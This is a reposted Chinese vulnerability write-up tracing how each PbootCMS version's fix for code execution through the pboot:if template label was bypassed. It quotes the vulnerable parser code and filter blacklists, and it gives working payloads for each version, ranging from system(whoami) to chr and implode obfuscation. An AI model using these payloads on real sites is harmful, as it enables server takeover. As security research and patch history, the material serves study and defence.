您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

PbootCMS任意代码执行的前世今生

时间:2020-08-05 10:26:35  来源:  作者:
PbootCMS任意代码执行的前世今生

 

 

PbootCMS (v1.1.5及其以下)

漏洞复现

PbootCMS任意代码执行的前世今生

 

poc:
{pboot:if(system(whoami))}{/pboot:if}

漏洞分析

漏洞点位于/Apps/home/controller/ParserController.php

    public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                // 对于无参数函数不执行解析工作
                if (preg_match('/[w]+()/', $matches[1][$i])) {
                    continue;
                }
                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                ......

这里有通过两个正则表达式后即可进入eval函数且$content是可控的第一个正则表达式限制格式格式必须为{pboot:if(payload)}{/pboot:if}形式第二个正则表达式不允许出现字母后面加()的情况,如phpinfo()这里很好绕过,比如phpinfo(1),system(任意命令)

 

PbootCMS (v1.1.6-v1.1.8)

漏洞分析

从1.1.6对之前存在的任意代码执行漏洞进行了修补,增加了部分函数黑名单,代码如下

public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            // IF语句需要过滤的黑名单
            $black = array(
                'chr',
                'phpinfo',
                'eval',
                'passthru',
                'exec',
                'system',
                'chroot',
                'scandir',
                'chgrp',
                'chown',
                'shell_exec',
                'proc_open',
                'proc_get_status',
                'error_log',
                'ini_alter',
                'ini_set',
                'ini_restore',
                'dl',
                'pfsockopen',
                'syslog',
                'readlink',
                'symlink',
                'popen',
                'stream_socket_server',
                'putenv',
                'unlink',
                'path_delete',
                'rmdir',
                'session',
                'cookie',
                'mkdir',
                'create_dir',
                'create_file',
                'check_dir',
                'check_file'
            );
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;
                foreach ($black as $value) {
                    if (preg_match('/' . $value . '([s]+)?(/i', $matches[1][$i])) {
                        $danger = true;
                        break;
                    }
                }
                // 如果有危险字符,则不解析该IF
                if ($danger) {
                    continue;
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

显然黑名单有漏网之鱼,但是由于将单引号、双引号都进行了html实体转义让很多函数不能使用,但是依然有可以用的,如base64_decode,反引号等

payload1
{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}
PbootCMS任意代码执行的前世今生

 

payload2
{pboot:if(var_dump(`whoami`))}{/pboot:if}
PbootCMS任意代码执行的前世今生

 

 

PbootCMS(v1.1.9-v1.3.2)

发现黑名单有不足于是改成了白名单,代码如下

public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;

                $white_fun = array(
                    'date'
                );

                // 不允许执行带有函数的条件语句
                if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if (function_exists($value) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

                // 如果有危险字符,则不解析该IF
                if ($danger) {
                    continue;
                } else {
                    $matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                ......

如果我们能绕过function_exists的检测就行了网上有师傅给了如下绕过思路

PbootCMS任意代码执行的前世今生

 

payload1
{pboot:if(system(whoami));//)}{/pboot:if}
PbootCMS任意代码执行的前世今生

 

payload2
{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system
PbootCMS任意代码执行的前世今生

 

后面的版本添加了正则匹配eval,其实也没啥用,上面两个payload一样可以用

 

PbootCMS(v1.3.3-v2.0.2)

过滤了特殊字符导致使用非交互式直接执行任意代码的时代结束

PbootCMS任意代码执行的前世今生

 

然而留言部分仍然存在任意代码执行,代码如下

public function parserIfLabel($content)
    {
        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;

                $white_fun = array(
                    'date',
                    'in_array',
                    'explode',
                    'implode'
                );

                // 还原可能包含的保留内容,避免判断失效
                $matches[1][$i] = $this->restorePreLabel($matches[1][$i]);

                // 解码条件字符串
                $matches[1][$i] = decode_string($matches[1][$i]);

                // 带有函数的条件语句进行安全校验
                if (preg_match_all('/([w]+)([\s]+)?(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

                // 不允许从外部获取数据
                if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)/i', $matches[1][$i])) {
                    $danger = true;
                }

                // 如果有危险函数,则不解析该IF
                if ($danger) {
                    continue;
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

禁止了外部数据的获取,白名单处的正则匹配不严谨,导致函数名+空格+()可以实现绕过

payload
{pboot:if(system (whoami))}{/pboot:if}
PbootCMS任意代码执行的前世今生

 

 

PbootCMS(v2.0.3)

增加了外部获取数据过滤部分,代码如下

if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i', $matches[1][$i])) {
                    $danger = true;
                }

并不影响我们使用system函数,提交上一个版本payload,发现pboot:if被删掉了

PbootCMS任意代码执行的前世今生

 

在apps/home/controller/IndexController.php里第270行使用了将pboot:if替换为空

PbootCMS任意代码执行的前世今生

 

所以直接双写绕过

payload
{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}
PbootCMS任意代码执行的前世今生

 

 

PbootCMS(v2.0.4-v2.0.7)

使用上一个版本payload,发下双写也被过滤了

PbootCMS任意代码执行的前世今生

 

改动的地方位于/core/basic/Model.php,增加了如下代码

PbootCMS任意代码执行的前世今生

 

也就是再过滤了一次pboot:if,然而这种替换为空是根本没用的,于是三重写绕过,但是v2.0.4还增加了正则黑名单的过滤,禁用了system等函数,代码如下正则匹配黑名单加强,代码如下

if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
                    $danger = true;
                }

发现漏掉了assert函数,没用过滤chr函数,所以直接拼接绕过

payload
{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}
PbootCMS任意代码执行的前世今生

 

 

PbootCMS(v2.0.8)

从v2.0.8开始采用递归替换pboot:if,位于/app/home/controller/MessageController.php第61行

$field_data = preg_replace_r('/pboot:if/i', '', $field_data);

跟进一下,位于/core/function/handle.php

function preg_replace_r($search, $replace, $subject)
{
    while (preg_match($search, $subject)) {
        $subject = preg_replace($search, $replace, $subject);
    }
    return $subject;
}

这样就无法采用双写绕过了,正则表达式处改动了,导致函数+空格被过滤,代码如下

if (preg_match_all('/([w]+)([s\\]+)?(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if (function_exists($value) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

后台不会经过preg_replace函数的处理,使用的白名单里implode函数仍然可以实现任意代码执行

payload
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['s','y','s','t','e','m']),implode('',['w','h','o','a','m','i'])))}{/pboot:if}
PbootCMS任意代码执行的前世今生

 

 

后记

PbootCMS的最新版本v3.0.1已经发布修复了该漏洞,从v1.0.1最开始的第一个版本到v2.0.9历时2年经过不断的漏洞修复,但是每次修复后就被绕过,不由得引发一系列反思

本文由ghtwf01原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/212603



Tags:PbootCMS   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
PbootCMS (v1.1.5及其以下)漏洞复现 poc:{pboot:if(system(whoami))}{/pboot:if}漏洞分析漏洞点位于/apps/home/controller/ParserController.php public function par...【详细内容】
2020-08-05  Tags: PbootCMS  点击:(362)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(19)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(18)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(631)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条